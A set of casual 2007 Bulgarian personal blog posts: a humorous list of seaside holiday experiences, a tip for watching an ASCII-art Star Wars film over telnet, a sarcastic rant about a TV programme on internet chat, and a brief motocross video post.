Видях (подчертавам 'видях', а не 'влязох в') сриптийзбар РАЙ
Видях снекбар РАЙ
Возих се на яхта и не ми прилоша (може би щото вкарахме яко бири)
Предлагаха ми флайери (рекламни листчета) на барове (на английски)
Предлагаха ми флайери на дискотеки (на английски)
Предлагаха ми флайери на стриптийзбарове (на английски)
Предлагаха ми дрога (на английски)
Спасители ме изкарваха насила от морето заради червен флаг
Направих си татус... язък че е временен xD
Бъркаха ме с руснак, германец и къв ли още не
Видях орди от пияни германци да вървят по улицата и да размахват бири като победоносни мечове
Карах 200 кубикова кросарка
Пих бира на кея и драсках от моите произведения
Ядох пиле в рибен ресторант
Изгубих се във Варна
Общо взето изгорях достатъчно

Telnet - not dead

2007-07-12T13:05:00.000+03:00

Изумително е какво може да направи човек когато е вдъхновен и има индустриални количества свободно време. Всички от вас знаят какво е терминал, или конзола, или ДОС-а, или промпта, или оня бял текст на черен или син екран като ви забие уиндоуса (алелуя). Едно време не е имало графики а само текст. И все пак учудващо е че през март 2005 е направен първия ASCII art филм. Тва ще рече че ще гледате анимиран текст. Аха, текст. Дам, текст. Абе вие глухи ли сте бе, ТЕКСТ! Анимиран... ок, нека започнем. Има 3 стъпки които трябва да извършите:

Цъкате на Старт менюто долу в ляво.
Цъкате не RUN
Пишете това и натискате ок и шоуто започва.

telnet towel.blinkenlights.nl

Прожекцията днес, както и всеки ден, е star wars: episode 4. Enjoy.

...telnet movies... wtf!?! Доживях и това...
resource: http://www.astahost.com/telnet-abuse-free-streaming-media-t3357.html

He's on fire!...

2007-07-09T23:40:00.001+03:00

За пореден път ставаме свидетели на типичната 'българска работа', а именно - предаването "Искаш ли... да си говорим" което тази вечер се излъчи по (к)анал 1. След като пропилях около 20мин от живота си за да го гледам мога да констатирам няколко неща:

Някой хора са зле.
Някой са още по-зле.
Някой не знаят как трябва да говорят пред камерата.
Никой от интервюираните не знае за какво става дума в предаването.

Еми така... нека цитирам от сайта им: "Невидимото общуване в мрежата... Разговор за общуването в интернет-пространството. Възможни ли са сериозни връзки, има ли любов по интернет...". И нататък някакви имена на заблудени хора в ролите на сценаристи и режисьори, както и имената на някои "изявени" психолози, който няма да споменавам защото никога не съм чувал през живота си. Та в това предаване се говореше за няколко неща. Първото е колко е лош чата, после колко е опасен чата и най-накрая - до какви социални отклонения води чата. Абе с две думи - чата е деветия кръг на ада и тези който са попаднали в него са обречени. Бегло беше загатнат и мотива за хепиенда, споменавайки някаква щастлива двойка, запознала се чрез гореспоменатия метод. Но общо взето, според тези 'творци' в интернет едва ли не можеш да намериш само сутеньори, биячи, изнасилвачи, джебчии, крадци, абе отрепки от визш вид. Не че не ги срещаш всяка вечер в дискотеката или в тъмния ъгъл на улицата ти, но нищо. Щях да се смея с пълно гърло ако не ми беше тъпо от факта, че някакъв брадясал психолог е седнал пред монитора да ми обяснява че като се потопиш в чата и социалните ти контакти намалявали и ставали по-трудни. Ха, абе този не си ли дава сметка че цяла България го гледа как прилича не пещерняк докато говори за липса на цивилизован контакт. Плачевно беше изказването на някаква дама от сорта на "Освен че е колосално количество информация, интернет е и средство, инструмент, за общуване... (ъ-кане) който се използва все по-често... (отново ъ-кане, след което оператора се усеща че е време да спре записа)." Тия хора имат ли представа какво е мрежа, както е IP и какво е DNS?... Седнали да се правят на много умни пред камерата и не осъзнават че 1-я процент от хората които ги гледат и знаят за какво става въпрос им се смеят. Перлата в калта беше едно изказване на някаква друга дама че обстановката при общуването има значение - дали ще си в претъпкания бус, сутрин, в 6ч. към работа, или вечер, с чаша уиски в ръка, пуснал приятна музика и седнал в удобния стол. Но на фона на всичко останало работата вони чак до рая. Ако си балама, и в реалния живот, и в чата ще те преметне някой сутеньор. Ако си идиот, и в реалния живот, и в чата няма да можеш да комуникираш нормално. След малко опит, от едничкия ред написан на чат екрана можеш да си извадиш премного заключения.

Абе то и аз мога да хвана някой от гората и да го накарам да говори за строежа на елементарните частици и относителното тегло на кварките... Ей, ще ги изкараме много лоши кварки. Направо ще ги набедим за СПИН, алкохолизма, уличните гонки край Подуене и разбитите пътища. И простия (без никакво извинение) народ ще гледа и ще си вика "Брей, те много лоши тия кварки бе... Я дай сега като няма какво друго да хулим, да седнем да натоварим кварките." А пък те кварките си вървят и въобще не им пука за тъпите селяни с промити мозъци и изкривени представи заради калпави медии. Тей че, мили мои читатели дето се броите на пръстите на двата ми крака (и този за колина, и този за халфа), борете се с простотията защото затънеш ли край нея, измъкване няма.

Мотокрос Отсечка "Равния - Манастира"

2007-07-09T13:35:00.000+03:00

Всъщност е по-стръмно и опасно отколкото изглежда. Направо си раз**ах предните амортисьори... :)

А сега bike camera!

Shot at 2007-07-09